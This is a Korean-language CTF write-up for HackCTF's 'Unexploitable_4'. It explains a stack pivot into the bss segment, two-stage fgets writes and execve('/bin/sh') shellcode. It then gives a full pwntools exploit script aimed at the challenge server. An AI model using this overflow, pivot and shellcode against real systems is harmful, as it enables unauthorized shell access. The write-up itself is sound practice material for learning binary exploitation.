# 보호기법 / file
# Process
SFP에 bss 영역의 주소를 넣으면 leave ret 시 bss로 이동한다.
그리고 다음으로 이동할 주소를 setup 이후 코드 주소로 준다. (다시 fgets로 입력받기 위해)
그럼 먼저 bss 영역에서 fgets() 함수로 입력받는다. 그 이유는 입력을 rbp+s로 하기 때문에 이전 SFP에 담긴 주소로 이동된 것이다.
bss 영역 앞부분에는 stdout같은 것이 담겨있으므로 bss+0x200으로 이동하도록 했다.
두 번째 fgets에서는 쉘코드를 넣어주는데 한 번에 입력이 안 된다. 따라서 디버깅으로 확인하면서 fgets 2번에 나눠서 담아줘야 한다.
그리고 다시 setup 다음으로 돌아가는 주소도 넣어줘야 한다.
쉘코드를 담고 확인해보면 b0 0b cd 80이 mov 0b,0x80 instruction에 해당하는데 오류가 생긴다.
따라서 sub rbp, 0x100으로 먼저 해주고 쉘코드를 이어주면 해결된다.
pop rbp, rsp 시 rbp와 rsp 위에 ret이 쌓이고 그 아래로 값이 쓰이므로 값이 덮히게 된다. 따라서fgets 시 0x2c 입력받으므로 0x10 + 0x8 + 0x8 뒤에 shellcode 8바이트를 입력하고 다시 fgets 시 나머지 쉘코드를 입력한다.
이렇게 전달하면 제대로 쉘코드가 모두 전달된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./Unexploitable_4")
p = remote("ctf.j0n9hyun.xyz", 3039)
elf = ELF("./Unexploitable_4")
libc = elf.libc
pop_rdi = 0x400763
pop_rsi_r15 = 0x400761
leave_ret = 0x4006f8
bss = elf.bss() + 0x200
pay = 'A'*0x10 + p64(bss) + p64(0x4006db)
p.sendline(pay)
#gdb.attach(p, 'b*0x4006db')
shellcode = "\x48\x81\xec\x00\x01\x00\x00" + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x90"
p.sendline('A'*0x10 + p64(bss+0x10+0x8+0x8 + 0x8) + p64(0x4006db) + shellcode[:8])
p.sendline(shellcode[8:] + '\x90' + p64(0x601250))
p.interactive()
global _start |
_start: |
sub rsp, 0x100 |
쉘코드 뒤와 전달 시 사이의 '\x90'은 8바이트 정렬 위해 넣었다. \x00은 끊겨서 '\x90'으로 했다.
# exploit
[HackCTF] Unexploitable #3 (0) | 2020.04.20 |
---|---|
[HackCTF] babyfsb (0) | 2020.03.25 |
[HackCTF] j0n9hyun's secret (0) | 2020.03.25 |
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
[HackCTF] World best encryption tool (0) | 2020.03.09 |